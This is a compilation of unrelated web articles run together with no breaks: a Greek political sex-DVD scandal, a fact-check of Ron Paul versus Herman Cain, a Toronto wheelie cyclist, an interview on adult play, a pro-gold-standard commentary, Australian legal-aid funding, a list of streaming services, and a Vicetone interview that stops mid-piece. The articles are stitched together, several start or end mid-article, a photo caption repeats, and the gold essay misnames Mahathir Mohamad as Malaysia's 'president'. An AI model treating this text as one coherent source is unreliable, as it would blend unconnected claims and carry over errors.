A man reads front page headlines about the sex DVD scandal that has rocked Greece for weeks, in newspapers on display at a central Athens kiosk February 8, 2008. Greeks have been mesmerised by the scandal, which broke when a ministry official attempted suicide after being blackmailed by an angry lover, and has damaged the conservative government's popularity. REUTERS/Yiorgos Karahalis
Many Greeks yawned. Few suspected that what would soon be known as the “sex, lies and DVDs scandal” would effectively freeze planned reforms, push the conservative government closer to snap elections, and shake the foundations of Greek society.
“This scandal has shown us what has been happening for years but none of us would publicly admit,” said architecture student Victoria Deligianni, 24, sitting at a central Athens cafe. “There is just no progress in this country.”
Political analysts say the affair has turned the spotlight on all of Greece’s ills — nepotism, widespread corruption in politics and the press, sexism and lack of opportunity for qualified young people with no connections.
It was no secret Greece was in need of a cleanup in 2004, when voters fed up with socialist scandals in the 1990s voted in the conservative New Democracy party.
Prime Minister Costas Karamanlis vowed to “re-launch the state” and end the chronic corruption that had long angered citizens and kept many foreign investors away.
He also promised to put in motion the reforms Greece needed to catch up with its European Union partners — in education, social security, health and public services.
Instead, the public has been treated to a series of scandals. In the past year alone, overpriced government bonds were sold to state pension funds and a labor minister was sacked over illegal Indian workers at his country house.
Greece’s ranking on the Transparency International corruption watchdog’s list has gone from bad to worse, falling to 56th in 2007 — behind countries such as Jordan, Botswana and Costa Rica — from 49th in 2004.
SEX TALE
The DVD scandal has overshadowed the government’s economic achievements, bringing its popularity to the lowest point since 2004, under 30 percent, a recent poll showed.
According to the Greek press, it started when a young woman slept with her boss, who promised her a permanent ministry job. When he did not deliver, she taped their private meetings in an attempt to blackmail him.
Then she went to Greek media with her DVD. Most sent her away, but one journalist has been accused in the media of making a copy and delivering it to the prime minister’s office.
When the DVD made it to Karamanlis’s office, the official — Culture Ministry general secretary Christos Zachopoulos, 54 — resigned and then jumped. He is now recovering in hospital.
A conservative MP was alleged to have acted as a go-between for the journalist and financial authorities. After pressure, he resigned from his parliamentary group, cutting the government’s number of seats to 151 in the 300-seat house and raising the specter of snap elections.
NATION MESMERISED
Greek viewers have been mesmerized by the twists and turns in the saga that has dominated television news for weeks.
Newspapers on display at Athens’ yellow kiosks publish daily revelations and the scandal dominates dinner conversation in tavernas across the country.
Greek blogs are rife with comments on the DVD’s content, saying a sex scandal alone would hardly be reason for a Greek official to attempt suicide. They say what may have pushed him over the edge was that he was caught making negative comments about the prime minister.
The government has insisted the issue was personal and any wrongdoing should be legally prosecuted.
“We remain focused on the reforms we promised the Greek people,” a senior government official told Reuters on condition of anonymity. “This issue will be resolved by Greek justice.”
Opposition parties accuse Karamanlis of trying to obscure his own office’s involvement, deflecting his political responsibilities and refusing to shed light on the case.
“The government line has been disorientation, blackout, cover-up, lies,” said socialist opposition PASOK party spokesman Yannis Ragoussis. “They set out to paint this as a personal issue and it has proven to be a deeply political case.”
Zachopoulos, a former teacher who was hand-picked by Karamanlis, was close to the prime minister and his wife and held powers almost greater than the minister — distributing large amounts of Greek and EU funds.
“When I needed anything from the Culture Ministry, it was made clear to me that I should go to Zachopoulos, not the minister,” a European ambassador to Athens told Reuters, also on condition of anonymity. “It was clear he was the man in charge.”
Prosecutors are investigating Zachopoulos’s financial records as well as ministry decisions to allow construction on or near historic sites.
So far, the only person to get into trouble over the scandal is the woman, 35-year-old Evi Tsekou. She has been charged with blackmail and is held pending trial. Zachopoulos has not been charged over his sexual relationship with an employee.
A man reads front page headlines about the sex DVD scandal that has rocked Greece for weeks, in newspapers on display at a central Athens kiosk February 8, 2008. Greeks have been mesmerised by the scandal, which broke when a ministry official attempted suicide after being blackmailed by an angry lover, and has damaged the conservative government's popularity. REUTERS/Yiorgos Karahalis
“The woman was the object of abuse of power and sexual harassment by a superior, even if she consented, according to Greek law,” said Sissy Vovou, a member of the Athens Feminist Center. “It is unacceptable she is held in jail. The only reason she is in is to keep her mouth shut.”
For the many Greek women struggling to make it in a largely male-dominated society, she is an example of someone who took the easy way up and paid the price.
Moderators gave each candidate one chance to pose a single question to any one of his or her opponents. Paul used his turn to attack Cain.
The former Godfather’s Pizza CEO "belittled" him and his followers, who want the Federal Reserve to undergo a major audit, Paul said.
"You said -- you've used pretty strong terms -- that we were ignorant and that we didn't know what we were doing, and therefore there is no need for an audit anyway because if you had one you're not going to find out everything because everybody knows everything about the Fed," Paul said during the Oct. 11 debate at Dartmouth College.
"I did not call you or any of your people ‘ignorant," Cain fired back. "I don't know where that came from."
Did too, Paul shot back: "I’ll get it for you."
Paul’s supporters rose to the challenge. Within hours after the debate’s end, the Internet swirled with what they said was proof that Cain called them "ignorant."
Cain’s denial caught our attention. Did Cain really call Paul and his followers "ignorant"?
The Fed is a touchy issue among many Republicans, especially Paul supporters, who think it conducts too much business behind closed doors. Congress created the central bank of the United States to give the nation a more stable financial system, but Paul thinks the Fed brought about the current economic troubles through backroom dealings and bad policy. He wants the organization audited and abolished.
Paul and Cain both consider themselves strict Constitutionalists and enemies of big government, but Cain is a former chairman of the Federal Reserve Bank of Kansas City. For Paul supporters, that’s like having a giant bull’s-eye painted on your back.
Even before Cain announced his run for president, Paul supporters were dogging him at campaign stops, asking him to back a full audit of the Fed. (Cain’s position on auditing the Federal Reserve is the subject of a separate PolitiFact item.)
We contacted Paul’s camp so it could give us its best evidence against Cain, but it didn’t get back to us. In its absence, we sifted through news accounts, news databases, Internet videos and websites where backers posted what they called key evidence of Cain’s name-calling.
We found that Cain isn’t shy about his disdain for Paul’s criticisms. He’s not above calling someone ignorant, either. Last month, he said President Barack Obama showed "ignorance of basic economics."
But we found no record that Cain ever called Paul or his backers "ignorant."
Bloggers and news accounts repeatedly referred to two sources as proof against Cain: his recently released book "This is Herman Cain! My Journey to the White House" and a 2010 clip from Neal Boortz’s radio show. Cain frequently subbed in for Boortz when he was a talk show host on radio AM 750 and 95.5FM News/Talk WSB
Let’s take a look at the book. Near the end of the chapter "The Cain Doctrine," Cain wrote that Paul supporters stretch the truth whenever they attend his appearances and say he does not want an audit of the Federal Reserve.
Instead of calling Paul backers "ignorant," Cain wrote this: "I get the same stupid question at almost every one of these events. I know it’s a deliberate strategy. How can a person randomly show up at a hundred events and ask the same stupid question to try to nail me on the Federal Reserve? "
And this: "But I’ve got news for the Paulites: It’s not going to work, because the American people are a lot smarter than they are."
Cain did call some people stupid, but not Paul’s supporters: "[T]here are stupid people out there -- the people who are running this country, and I’m worried about them," Cain wrote.
Now for Cain’s radio statement, which Paul backers posted online.
"I think a lot of people are calling for this audit of the Federal Reserve because they don’t know enough about it," Cain said, according to their online post. "There’s no hidden secrets going on in the Federal Reserve to my knowledge."
Once again, Cain did not use the word "ignorant." He did say backers of a Fed audit need to understand the bank better.
How do we rule?
Cain said plenty of disparaging things about Paul’s backers. He called their questions "stupid." He said Fed audit backers "don’t know enough about it." He said the American people are are "a lot smarter than they are."
You could even say that Cain "belittled" Paul’s followers, as the Texan claimed during the debate.
But Paul was very specific that one of the "strong terms" Cain used against his backers was the word "ignorant." Paul said he’d produce proof, but neither he nor his supporters have done so. We couldn’t find any, either.
Toronto police shared an Instagram video in June that allegedly captured the 28-year-old man riding from Wellesley Street to Carlton Street.
"The cyclist weaved through traffic, rode on the sidewalk, failed to signal lane changes, failed to yield to pedestrians, and failed to stop for a red light," Toronto police wrote in a statement announcing the charge.
The video was originally posted to the account @mylittlebikeshop, which later defended the clip after it was shared by Toronto police.
"It's kind of heartbreaking to see my little poppa wheelie clip being posted on the Toronto police Instagram account... I say heartbreaking because my video is surrounded by surveillance videos of murders, stabbings, shootings, robberies and sexual assaults," reads a caption on the account page.
Another post about the incident appeared on September 5 and included photos of a court summons and of a car being pulled over by a police cruiser.
"Despite me being a very skilled and experienced rider, I did break multiple laws," said the caption.
"I plan to continue to do wheelies in the city. However, I will stop going on sidewalks, into oncoming lanes and through red lights for now."
Toronto Police Traffic Services spokesperson Clint Stibbe thanked the rider for the video and demonstration of "great riding skill" but added, "you have put several pedestrians in harm's way as a result of your actions."
For adults, play time is far from over.
Exhausted by the crushing yoke of their daily obligations, adults around the world are flocking to the playgrounds of their childhoods in search of relaxation and release. Not surprisingly, an entire cottage industry has subsequently sprouted up to help world-weary workers satiate their inner child. In Brooklyn, an adult preschool lets office drones finger paint, participate in arts and crafts, and re-enact schoolyard favorites like show and tell for as little as $333 a class. In the United Kingdom, a design studio opened a ball pit just for grown-ups, while laughter clubs in India offer a form of both spiritual and physical exercise for disgruntled citizens. And this week, the two best-selling books on Amazon were “adult coloring books” published by Scottish illustrator Johanna Basford.
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Being a kid, it seems, is back in. But what are we to make of this sudden nostalgia for the carefree play time of our youth? Is this fixation an infantilizing trend, part of the Millennial generation’s unwillingness to grow up and face the world? Recent research has shown that people of all ages benefit from unstructured play time as a respite from the grind of daily life. According to research, play can relieve stress, boost creativity, improve brain function, and improve our relationships with other people by fostering trust with others: It’s accepted by psychologists and researchers as an essential component for childhood development—and a lack of play time is seen as a major health obstacle for poor and inner-city children.
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Play, psychologists argue, is on the decline—and that has negative consequences for kids and adults alike. A 2011 article in the American Journal of Play shows not just how much children's play time has declined, but how its absence in adolescence can lead to a heap of behavior issues later in life, including depression and anxiety. And according to the study’s author Peter Gray, a professor of psychology at Boston College, the adults are to blame. "Since about 1955, children’s free play has been in continuous decline, at least partly because adults have exerted ever-increasing control over children’s activities," Gray wrote in the study. “Over the same half century that play has declined, the mental health of children and adolescents has also declined.”
"By abandoning play, we’re abandoning an important part of ourselves."
Play isn’t just important for kids—it’s beneficial to our society. It’s time for adults to take it seriously, both for their sake and for their childrens’. Pacific Standard spoke to psychologist Kathryn Hirsh-Pasek, director of Temple University’s Infant and Child Laboratory and author of Why They Need to Play More and Memorize Less, about the nature (and importance) of play time for adults.
What exactly is "play"? Compared to defined "grown-up" activities like, say, sports and video games, it seems like a broad, vague category of activity.
Well, as Wittgenstein noted in Philosophical Investigations, it’s very, very hard to define what play really is. There are three main characteristics that we tend to use when we talk about play: It’s voluntary in the sense that you’re not obligated to do it; it’s flexible and can be changed or manipulated, like Play-Doh for your life; and it’s enjoyable and fun.
When you think about it, there’s not enough of this in our lives. It’s a problem of our modern, work-obsessed society: We’ve lost play in the hustle and bustle of our lives. We spend our time between our jobs, our kids, being on Twitter and Facebook to catch the current trends. Who has time to breath, let alone to be outside and be active, right?
But play isn’t a human luxury. We know that goats play and dogs play and monkeys play and humans play—you don’t have to be taught it, and there must be an evolutionary reason for that. By abandoning play, we’re abandoning an important part of ourselves.
Kathryn Hirsh-Pasek. (Photo: Temple University)
Why is play so important for childhood development?
First, play doesn’t have consequences in the same way that real life does: When we want to blow off steam, this is the way we do it without having trouble. But play is also how children explore the world around them and themselves. Playing without consequences, without someone looking over your shoulder, and even without a set goal lets us discover the world around us. It helps give children the capacity to make decisions, to solve problems, to build and experiment and transform. Think of Tom Sawyer: His imagination, his play, was in the service of figuring out who he was, and the limits of self.
More generally, for both children and adults, it really gives us a chance to build our imagination. The fantastical becomes real, the real becomes fantastical; we can try out a new hypothesis without consequence.
This one thing that we’ve lost in our society is the understanding that exploration, understanding, and creating thinking is what got us to where we are, that made America the “idea nation,” the country that founded Apple and IBM, that invented the car and the airplane. Why is it always us? It’s because we had people who weren’t afraid to try out ideas and fail along the way and have the grit to stick with it—and learning that comes from play.
Does the impact of play change depending on the activity? I could imagine coloring and ball pits having different benefits to our development.
Certain kinds of play are more geared toward learning and discovery and curiosity. When you’re playing with a block tower, or putting together a motor, or writing a new song—that's play as well. That kind of imaginative stuff often has a kind of learning goal, and we’re sort of moving toward it through our exploration.
But there are other kinds of play that are just there to be frivolous, so we can move around and jump and act, like leaping into a ball pit.
Does this change as we get older?
The impact doesn’t. Play matters, no matter how old you are. The only thing that’s changed is the stigma. We associate play with childhood, and therefore “playing” with childishness.
But our capacity for play certainly shifts. I think we lose our imagination a bit as we go through school and we’re told that there’s one right answer for everything the world will throw at us. The less we’re in situations where we feel it’s OK to fail, the more likely we are to stop playing. And when we do play, it’s more like “play by the rules”: We’re more likely to play tennis or football or soccer than we are to sit down and simply play in an unstructured manner. But it’s not even that our hobbies have changed. The structure of daily life is so busy that we’ve drummed out a lot of space for natural play.
And there’s a hunger for it! As you see in these popular examples—coloring books bringing back the images of childhood, and the allure of jumping into a ball pit—we’re longing to get play back. We want to just run around and make it frivolous, and allow ourselves to create, and allow ourselves to fail. It feels so good.
We can color outside the lines without anybody telling us what the right way to go is, without bosses or anybody looking over our shoulder. Play is a crucible not just for self-discovery and freedom, but for joy. We don’t have much pure joyfulness in our lives.
If we’re longing for play, why is there such a stigma against adult play time?
Think about the world we live in. You’re supposed to answer your emails within 30 seconds, or you’re considered negligent. If somebody asks “How are you?,” the appropriate answer is “busy.” Is that really an appropriate answer? No.
Is this a distinctly American thing? The emphasis on productivity.
In France, they’re still allowed to take a month off for adult play, so yes. But Americans are so invested in being on the leading edge, the nation in charge, that we haven’t given the population, all of us, each other, a chance for downtime. We pride ourselves on not going on vacation, and frankly that's not healthy. My sense is that the global economy has made some of this worldwide, and we’re racing faster and faster.
It’s almost like we’re going in the opposite direction.
We’re not going to become this nation if we’re so rigid and we’re still on treadmills; we have to jump in ball pits. Play is for all of us and it can help us achieve goals that we never thought possible.
It also doesn’t help that we basically have a sedentary nation. Some say sitting is the new cancer. We're not an active nation anymore. People do better when they’re acting and moving rather than just sitting and staring.
Sitting and screening, apparently: A lot of play has become centered on screens.
Technology has taken over a lot of our loose attention. It’s part of the sitting phenomenon: We’re constantly facing a screen. And that has consequences for our species.
There are people who study chimps vs. humans. Humans have one thing over the chimps: We’re ultimately ultra-social—that's what allows us to jump evolution and recreate culture and transmit this to the next generation. What a wonderful thing we have in social interaction.
Look, I love screens, they’re incredibly useful and I’m thrilled they exist, but I’d like to see us a little bit more with people, honest-to-God living, breathing people. You can play together on a computer, but it’s not the same as the unstructured, free-flowing play that drives creativity.
How do you play?
I play with musical stuff; I love to invent things. I’m also a tennis player. I discovered new magnet blocks recently and was very excited about that. I still play with Legos. And you know those tape dispensers with the tape that you tear off? I love to play with the tape.
I have instilled these values in my children. In the beginning people teased me—“my kids go to cooking and soccer lessons” and all the overbearing stuff you do in the suburbs of Philadelphia. But now I look back on my 32- and 30- and 25-year-olds and I am blown away by who they are as creative and kind human beings. I’m sure part of it was that no one ever robbed them of play.
(Photo: Deborah Kolb/Shutterstock)
What do you think of the latest trend in adult play spaces? What would you like to see happen in the future?
Cities are supposed to be interaction machines, but they don’t really work that way anymore. I would love to re-imagine what a cityscape would look like if it were more playful, if street life had things that allow for you to play at bus stops and on sidewalks. I imagine a world where we’re constantly thinking and constantly growing through play instead of smartphones and smart cities.
In the next few months, we’ll see more stuff like those coloring books and adult playgrounds. We’ll see more companies jumping in to offer commercial goods for adult play. This is great, but the challenge is this: Can you see the world we live in differently in a way that would make opportunities for playfulness everywhere, organically? It will make the world so much more exciting. Everywhere we go there are opportunities for play; if only we rub our eyes, open them again, and see the world differently.
We still try to escape the stresses of the world by letting loose, mostly through things like smoking and drinking. But imagine if you didn't even need a substance to let loose. That’s what play is for: It’s a whole new type of drug.
The rise of the ball pits and coloring books and adult preschool suggests that, finally, people are waking up to the play they’ve been missing and asking: What kind of a world do I really want for me and my family and kids? I think in the process it will create a smarter generation.
What would you tell people looking to add more play to their lives?
Re-ignite the child inside! The stigma around play is there, but it's our job to fight back and understand that we all really love to play.
In short, it looks suspiciously like an exercise in paper-hanging. The London Bullion Market Association claimed 21.95 million ounces of “net” clearing per day on average in 2013, worth about $27 billion. Estimates of “gross” trading are considerably higher than this. Supposedly, one might be able to call in these unsecured liabilities of banks, and receive real bullion. However, when people actually try this, banks have a pattern of shunting clients into cash settlement.
The Shanghai Exchange appears to be a real market in bullion, with immediate physical delivery on every contract. Curiously, the opening of the Shanghai gold fix coincided with a dramatic admission by Deutschebank that it had been rigging the London gold and silver markets, accompanied by promises that it would help authorities identify other market manipulators.
Many have considered the phony “paper gold” markets, including the U.S. Comex futures market and also, potentially, gold ETFs, to be a significant impediment to using gold as a standard of currency value. Is China laying the framework for a new world gold standard system? One Chinese analyst called it “the culmination of a two-year plan to move away from a U.S.-centric monetary system.”
China’s longer-term intentions were perhaps made more apparent by an essay by Dr. Zhou Xiaochuan, governor of China’s central bank, in March 2009.
The outbreak of the current crisis and its spillover in the world have confronted us with a long-existing but still unanswered question, i.e., what kind of international reserve currency do we need to secure global financial stability and facilitate world economic growth, which was one of the purposes for establishing the IMF? There were various institutional arrangements in an attempt to find a solution, including the Silver Standard, the Gold Standard, the Gold Exchange Standard and the Bretton Woods system. The above question, however, as the ongoing financial crisis demonstrates, is far from being solved, and has become even more severe due to the inherent weaknesses of the current international monetary system. Theoretically, an international reserve currency should first be anchored to a stable benchmark and issued according to a clear set of rules, therefore to ensure orderly supply; second, its supply should be flexible enough to allow timely adjustment according to the changing demand; third, such adjustments should be disconnected from economic conditions and sovereign interests of any single country. The acceptance of credit-based national currencies as major international reserve currencies, as is the case in the current system, is a rare special case in history. The crisis again calls for creative reform of the existing international monetary system towards an international reserve currency with a stable value, rule-based issuance and manageable supply, so as to achieve the objective of safeguarding global economic and financial stability.
I think that is pretty clear.
The idea of floating fiat currencies, and an active “monetary policy” to manage domestic economies, is very popular in the Anglophone world. The U.S. dollar, and British pound, are linked to nothing. But, much of the rest of the world has already abandoned a “soft-money” approach. Fifty-five countries use the euro as their standard of value, either the currency itself or as the reserve currency of a currency board system. Although the euro is a floating fiat currency not much different than the dollar or pound, every euro-using government has voluntarily abandoned any “domestic monetary policy” and has instead adopted an external benchmark of value. A gold standard system is not much different than a euro-standard system, except for the choice of the standard of value.
China has always used dollars as a basis of monetary value – all the way back to the 17th century, when China imported Spanish silver dollars in great quantity. Today, the yuan’s value is still based on the U.S. dollar, although in recent years, bending to U.S. political pressures, it has become something of a crawling peg instead of a fixed one.
Outside the Anglophone world, governments and leaders have long pined for the return of the world gold standard. In 2004, Malaysia’s president Mahathir Mohamad began a program to establish a pan-Islamic international gold standard currency. In 2009, at the Arab League Summit in Doha, Muammar Gaddafi of Libya called on African and Muslim nations to create an international gold-based currency, to be used in trade for oil. At a G8 currency meeting in 2009, Russia president Dmitry Medvedev held up a half-ounce gold coin and called it “an example of a future world currency.”
Legal sector warns federal government’s looming 30% cuts to services will still threaten access to justice for tens of thousands of people in other states
The New South Wales government has given a temporary reprieve to an estimated 20,000 vulnerable Australians who faced the loss of legal support due to federal funding cuts.
But the sector is warning the federal government’s looming cuts will still threaten access to justice for tens of thousands of people in other states, unless the decision is reversed in next month’s budget.
The community legal sector has long warned that cuts of 30% to federal funding would cripple already-stretched services.
The sector provides legal advice to 215,000 vulnerable clients across the country, including family violence victims, the homeless, those with a disability, non-English speakers, ageing Australians and low-income earners.
Gladys Berejiklian, the Coalition's demons and her three nightmare byelections Read more
The cuts will come into effect in July, although the attorney general, George Brandis, maintains the government has made new investments in the sector, which far outweigh the forecast reductions.
On Wednesday, NSW became the latest state government to offer a rescue package to community legal centres.
The state’s new attorney general, Mark Speakman, announced a $6m boost in the next two years.
The package will maintain current funding levels in the first year, and a review will determine how the remaining money is distributed in the second year.
The funding will save lawyer positions and prevent the closure of already-stretched legal services, including in regional areas, where support services are not widely available.
But the package will not solve the funding crisis in the sector, according to Community Legal Centres NSW chair, Linda Tucker.
“Close to 20,000 extra people who would have been turned away each year will now have access to the legal assistance they need,” Tucker said.
“While this is a step in the right direction, given the scale of unmet need – tens of thousands of people turned away each year – it is imperative that today’s decision is built on by federal, state and territory governments across Australia. The funding crisis continues in this sector,” she said.
In 2014, the Productivity Commission found the sector was chronically underfunded, that federal investment had been “ad hoc”, and that there was a mismatch between areas of greater disadvantage and the placement of centres.
The commission found the lack of funding was creating gaps in the ability for Australians to access justice.
It recommended an injection of $200m from federal and state governments, and said every $1 spent on the sector saved the community $18.
The National Association of Community Legal Centres estimates that, even without the looming federal cuts, services are turning away 160,000 people each year due to a lack of resources.
Prior to Wednesday’s announcement by the NSW state government, the association estimated the federal cuts would cause another 64,000 people to be turned away nationally.
The association’s chief executive officer, Nassim Arrage, welcomed NSW’s decision, but said all levels of government need to “provide their fair share”.
“Funding for CLCs is the responsibility of both state/territory and federal governments,” he said.
“The recommendation of the Productivity Commission that involves maintaining current funding levels plus $200m for legal assistance nationally is a good starting point to determine what each contribution should be.”
A spokeswoman for Brandis did not say whether the cuts would be reversed.
But she said the government supports the “important work of the legal assistance sector” and was already providing substantial funding.
“Even in a resource-constrained environment, the Australian government is providing over $1.6bn for legal aid, community legal centres and Indigenous legal assistance between 2015 and 2020,” a spokeswoman said.
“On top of this, the Turnbull government has provided an extra $45m for frontline legal assistance services as part of its $200m investment to reduce violence against women and children.”
The spokeswoman said that $16.5m of that funding was going directly to community legal centres. She said the investment far outweighed the forecast reductions.
These days, if a movie or TV show isn't available to legally stream online, it basically doesn't exist. It's no secret that we're no longer slaves to cable TV subscriptions and theatrical release dates for movies.
What do we want? Entertainment! When do we want it? Now!
That's why we all love popular online streaming services like Netflix, Amazon Instant Video and Hulu so much. For a not-so-terrible monthly fee, you can access some of the best movies and TV shows of all time with just the click of a button.
However, if you're a big binge-watcher (and who isn't?), you might be running out of selections on these streaming services. But there's no need to freak out because if there's anything the Internet has taught us it's that you can always find more entertainment somewhere else.
There's actually a whole world of movies and TV shows you can stream legally online through platforms you've probably never even heard of. Whether you want to hop across the pond and watch all of the British TV you can get your hands on or impress your friends with your indie film knowledge, there's a streaming service to satisfy all of your entertainment needs.
Here are 14 lesser-known movie and TV streaming services you need in your life right now.
1. Acorn TV
Do you prefer your TV shows to come with a fancy accent? Then Acorn TV, a streaming service devoted entirely to British dramas, comedies, mysteries and documentaries, is for you. You won't find more well-known British TV shows like Doctor Who and Downton Abbey on here, but there's plenty for you to discover so you can call yourself a true British TV buff, such as Upstairs Downstairs, Midsomer Murders and Peep Show. You can try Acorn TV for one month for free now, and then subscribe for $4.99 per month after that.
2. Crackle
Crackle has gotten a little bit of notoriety in recent years thanks to Jerry Seinfeld's hilarious series Comedians in Cars Getting Coffee that is streamed exclusively on the platform. However, there's so much more to watch on Crackle, and it's all for free. This includes cult movies like Fear and Loathing in Las Vegas, a small collection of Seinfeld episodes and even some original content. Crackle's offerings are definitely nowhere near the level of Netflix or Amazon, but hey, it's free.
3. Crunchyroll
Crunchyroll is an anime lover's dream. The streaming service offers more than 25,000 episodes and 15,000 hours of Japanese anime and other Asian media content available in several languages. Many shows are even available right after they're broadcast in Japan. You'll find tons of episodes of Japanese anime like Naruto Shippuden, Sailor Moon Crystal and Parasyte the Maxim on here. You can watch a limited amount of Crunchyroll's content for free with ads, but accessing all of it without ads will cost you $6.95 or $11.95 per month depending on what plan you choose.
4. Fandor
If Netflix and Amazon's offerings are just too mainstream for you, Fandor has you covered. This streaming service offers a truly impressive selection of indie, foreign and cult films of all different genres from around the world, including some Criterion Collection picks. However, Fandor, which is available for $10 per month or $90 for a yearly subscription, goes way beyond streaming to offer users an experience. It's kind of like a virtual arthouse cinema with curated film collections, a channel that continuously plays films selected by the curators and all of the cinematic news you could ever ask for. Simply put, if you love film you'll love Fandor.
5. Internet Archive
Internet Archive is a non-profit organization that preserves everything from images to audio clips to software in a digital library available for anyone to use. It even has feature-length films you can watch for free. Though you'll have to do some digging, there are some gems available on Internet Archive, such as His Girl Friday, Night of the Living Dead and Plan 9 From Outer Space.
6. M-GO
One of the downsides to streaming services is that the content can be a few weeks or months old by the time it appears online. However, if you want brand-spanking-new movies and TV shows, you're going to have to pay. If Amazon and iTunes aren't your scene, you can go with M-GO, which has a ton of recent movie and TV releases available to purchase or rent individually. However, one of the most appealing aspects of this platform is that you can find some good deals on movies that you might not find anywhere else. For instance, Richard Linklater's recent Academy Award-nominated film Boyhood is available to rent for $0.99 right now. That's not too shabby.
7. MUBI
With so many movies and TV shows available to stream online, it can be overwhelming to decide which flick you're going to spend your Friday night watching. If you're not great at decision making, you might want to check out MUBI, which recommends a new film to watch every day handpicked by film experts. Unfortunately, that also means the movies are only available for 30 days with a $4.99 per month subscription. Oh well. All the more reason to spend your days immersed in cinema, I guess.
8. Shout! Factory
Shout! Factory has possibly the weirdest collection of movies and TV shows you'll find to stream online for free, but they are no less delightful. Through its new streaming service Shout! Factory TV, you can watch 16 Werner Herzog films, Laverne & Shirley and enough Mystery Science Theater 3000 to make your head explode. Yeah, it's bizarre, but you probably won't find as much fun anywhere else.
9. Spuul
The Internet has made the world a much smaller place, and the fact that you can stream Bollywood movies and TV shows right to your computer anywhere in the world proves it. There's a limited amount of content available to watch on Spuul for free with ads. However, you'll get access to the full catalog without ads for $4.99 a month, or you can pay for some content a la carte for $0.99 each.
10. Sundance Now Doc Club
There's nothing like a good documentary to make you feel all of the feels, and the SundanceNow Doc Club has a really nice collection of docs new and old for you to stream for $6.99 per month or $4.99 per month if you sign up for a yearly membership. As a member, you'll also get to browse curated collections of docs and take advantage of a lot of neat offers like attending special screenings.
11. TV Land
Sure, TV Land is super focused on original programming these days, but you can transport yourself back in time to when the network just played re-runs of classic sitcoms. You can still stream some of those shows for free on TV Land's website, such as I Love Lucy, The Golden Girls and Three's Company. This won't be the most satisfying streaming service in the long term, but it'll do the trick if you need a quick fix of Lucy Ricardo's shenanigans.
12. Viki
If international TV is your bag, you'll be hard-pressed to find a more comprehensive streaming service than Viki, which features hit shows from everywhere from China to Colombia to France. You can stream it all for free, or sign up for the Viki Pass for $3.99 a month to watch shows in HD without ads on nearly any device.
13. VUDU
VUDU is a lot like the aforementioned M-GO, offering up the latest movie and TV releases to rent or own. What differentiates VUDU is that Disney Movies Anywhere also works with the platform, you can stream films in HDX and you can connect your UltraViolet account for seamless entertainment integration.
14. Yaveo
Spanish-language movies and TV shows are some of the most entertaining around, and you'll find a wonderful collection of them on DIRECTV's streaming service Yaveo. For $7.99 a month, you'll be able to enjoy everything from telenovelas to sports to Spongebob Squarepants in Spanish. ¡Estoy listo!
[H/T Lifehacker; TechHive]
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Since their debut single “Harmony” released in 2012 on Monstercat, they have touched nearly every major label in the EDM industry, including Spinnin’ Records, Dim Mak, Armada Trice, Ultra Music, and of course, Hardwell’s Revealed Recordings. They have also released various official remixes for artists like Kelly Clarkson, Tove Lo, Linkin Park, Cash Cash and Krewella. Their song “Let Me Feel” with Nicky Romero was a commercial success, being their first ever Beatport #1.
The duo – comprised of Dutchmen Victor Pool and Ruben den Boer – has also found their place 3 years in a row on DJ Mag’s infamous “Top 100 DJs” poll, most recently charting at #50. While the duo sadly dropped 14 spots this year, their music definitely hasn’t gotten any worse, evidenced by this remix. We have the pleasure of premiering the remix in full for your listening pleasure. Below, you’ll find an in-depth interview about the remix, the duo and their plans for 2016.
How do go about remixing artists of the caliber of Hardwell and Tiësto? Is it all all nerve-racking to have that kind of pressure on you?
Ruben: I mean, we grew up listening to Tiësto when we were like, you know, 11, 12… It goes way back. His music was kind of what brought us to the dance world when we were, you know, in elementary school still! So when you remix a track for him… I don’t know if it adds pressure, but it definitely adds a little extra incentive to work on it really hard and create a lot of ideas before finding the one we want to stick with. I think it took us a couple tries before we really got the right… Right? Victor: Yeah, that’s true. Ruben: I think we had four different versions before we finally decided “this one is good enough.” Maybe that has to do with Hardwell and Tiësto… Obviously two of the biggest names in dance music right now… That definitely is a good motivation.
The whole “best friends” EDM duo thing seems too good to be true. Didn’t you two hate each other at one point?
Victor: [laughs] No, actually, no. Ruben: No, not really. I mean, you always have little fights and arguments sometimes, but never major ones. Victor: Music is such a fun thing to do and we started doing it ’cause it’s our passion. It’s way easier for us to make good tracks if we just have a great relationship together. We’re on same page about everything. Ruben: We were very similar, even in high school. We used to listen to the same music back then and we used to play the same video games. You know, a fun fact is that when we were 16, we weren’t making music, but we were very much into the whole scene… Just like you, you know all about the DJs… We knew everything about it too. We still do, but even back then we knew all the names, we knew all the groups, we knew all the big songs, we were very much into that scene. We bonded over that in class, outside of class… We already had such a foundation… If you make music with your best friend, it’s very easy because if he makes something that’s shit, I’ll tell it to him and he won’t get upset. Victor: I won’t feel bad! [laughs] Ruben: If it’s somebody you just met, or you’re working with for a little bit, you have to be like “oh, that’s good, but maybe we should try this.” With us, we just say “that’s a bad idea, that’s horrible. We gotta do better than this.” That’s what we do. We’re very critical of each other’s work, but only in a way to advance the music. When we both like something, we know that it’s good and that we want to release it as Vicetone, and usually our fan base likes that too.
Going off of that, the Monstercat Reddit says “hey!”
Ruben: How are you doing, Monstercat? We love Monstercat fans, they’re very, very dedicated people.
They really are. Here’s a fun one… In honor of the “Colors” remix, what are your favorite colors?
Ruben: [laughs] God, I don’t know. Victor: I don’t think I have one, to be honest. Ruben: Blue is good. Victor: Blue is a classic one, I like green lately for some reason.
Do you think this year’s DJ Mag poll was a flop?
Ruben: Ever since the DJ Mag [poll] came out, there has been so much controversy… Like every year. Victor: I mean, we’re just happy to get voted in, ’cause our fans are so dedicated. Ruben: Yeah, we love how many people are still voting for us. I mean, it sounds like a politically correct answer, but there’s so many things you can say, like “why is this DJ above that [DJ]?” It just never ends. It’s weird that dance music/EDM is the only scene where we have a ranking of DJs based on popularity, whereas no other genre of music… You won’t have the top 100 classical music composers with Mozart at #1, then everybody’s upset ’cause Beethoven is #3. It doesn’t work like that, or, the top 100 female R&B singers… Victor: No, I saw a top 5 lately of the best rappers. Tupac wasn’t in there, so everyone was going crazy. Ruben: Music is so personal… You know, we listen to a lot of music from people that aren’t in the top 10, or even in the top 50, so it’s very personal and at the end of the day, we need to see it how it is… It’s just a popularity contest. We very much appreciate all the people for voting for us.
Last question. What can fans expect for 2016?
